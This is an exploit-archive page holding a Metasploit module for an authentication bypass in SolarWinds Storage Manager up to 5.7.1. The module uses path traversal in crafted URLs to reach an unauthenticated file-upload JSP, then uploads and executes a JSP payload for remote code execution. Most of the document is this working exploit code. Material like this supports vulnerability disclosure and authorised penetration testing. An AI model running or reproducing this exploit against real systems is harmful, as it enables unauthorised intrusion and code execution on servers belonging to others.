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SolarWinds Storage Manager Authentication Bypass

SolarWinds Storage Manager Authentication Bypass
Posted Sep 12, 2014
Authored by rgod, juan vazquez | Site metasploit.com

This Metasploit module exploits an authentication bypass vulnerability in Solarwinds Storage Manager. The vulnerability exists in the AuthenticationFilter, which allows to bypass authentication with specially crafted URLs. After bypassing authentication, is possible to use a file upload function to achieve remote code execution. This Metasploit module has been tested successfully in Solarwinds Store Manager Server 5.1.0 and 5.7.1 on Windows 32 bits, Windows 64 bits and Linux 64 bits operating systems.

tags | exploit, remote, code execution, bypass, file upload
systems | linux, windows
SHA-256 | 8e0158bd6ed6894515f4b2ee12c6dea89374d232c9a98949f115bcf2c61c7927

SolarWinds Storage Manager Authentication Bypass

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'SolarWinds Storage Manager Authentication Bypass',
'Description' => %q{
This module exploits an authentication bypass vulnerability in Solarwinds Storage Manager.
The vulnerability exists in the AuthenticationFilter, which allows to bypass authentication
with specially crafted URLs. After bypassing authentication, is possible to use a file
upload function to achieve remote code execution. This module has been tested successfully
in Solarwinds Store Manager Server 5.1.0 and 5.7.1 on Windows 32 bits, Windows 64 bits and
Linux 64 bits operating systems.
},
'Author' =>
[
'rgod <rgod[at]autistici.org>', # Vulnerability Discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['ZDI', '14-299']
],
'Privileged' => true,
'Platform' => %w{ linux win },
'Arch' => ARCH_JAVA,
'Targets' =>
[
['Solarwinds Store Manager <= 5.7.1', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 19 2014'))

register_options(
[
Opt::RPORT(9000)
], self.class)
end

def check
res = send_request_cgi({
'uri' => normalize_uri("/", "images", "..", "jsp", "ProcessFileUpload.jsp"),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=----#{rand_text_alpha(10 + rand(10))}"
})

if res && res.code == 200 && res.body && res.body.to_s =~ /Upload Successful!!/
return Exploit::CheckCode::Vulnerable
end

Exploit::CheckCode::Safe
end

def exploit
jsp_info = "#{rand_text_alphanumeric(4 + rand(32-4))}.jsp"
print_status("#{peer} - Uploading Information Gathering JSP #{jsp_info}...")
if upload(jsp_info, jsp_path)
print_good("#{peer} - JSP payload uploaded successfully")
else
fail_with(Failure::Unknown, "#{peer} - Information Gathering JSP upload failed")
end

res = execute(jsp_info)

if res && res.code == 200 && res.body.to_s =~ /Path:(.*)/
upload_path = $1
print_good("#{peer} - Working directory found in #{upload_path}")
register_file_for_cleanup(::File.join(upload_path, jsp_info))
else
print_error("#{peer} - Couldn't retrieve the upload directory, manual cleanup will be required")
print_warning("#{peer} - #{jsp_info} needs to be deleted manually")
end

jsp_payload = "#{rand_text_alphanumeric(4 + rand(32-4))}.jsp"
print_status("#{peer} - Uploading JSP payload #{jsp_payload}...")
if upload(jsp_payload, payload.encoded)
print_good("#{peer} - JSP payload uploaded successfully")
else
fail_with(Failure::Unknown, "#{peer} - JSP payload upload failed")
end

if upload_path
register_file_for_cleanup(::File.join(upload_path, jsp_payload))
else
print_warning("#{peer} - #{jsp_payload} needs to be deleted manually")
end

print_status("#{peer} - Executing payload...")
execute(jsp_payload, 1)
end

def execute(jsp_name, time_out = 20)
res = send_request_cgi({
'uri' => normalize_uri("/", "images", "..", jsp_name),
'method' => 'GET'
}, time_out)

res
end

def upload(file_name, contents)
post_data = Rex::MIME::Message.new
post_data.add_part(contents,
"application/octet-stream",
nil,
"form-data; name=\"#{rand_text_alpha(4 + rand(4))}\"; filename=\"#{file_name}\"")

res = send_request_cgi({
'uri' => normalize_uri("/", "images", "..", "jsp", "ProcessFileUpload.jsp"),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
})

if res && res.code == 200 && res.body && res.body.to_s =~ /Upload Successful!!/
return true
end

false
end

def jsp_path
jsp =<<-EOS
<%@ page language="Java" import="java.util.*"%>
<%
out.println("Path:" + System.getProperty("server.webapp.root"));
%>
EOS

jsp
end

end
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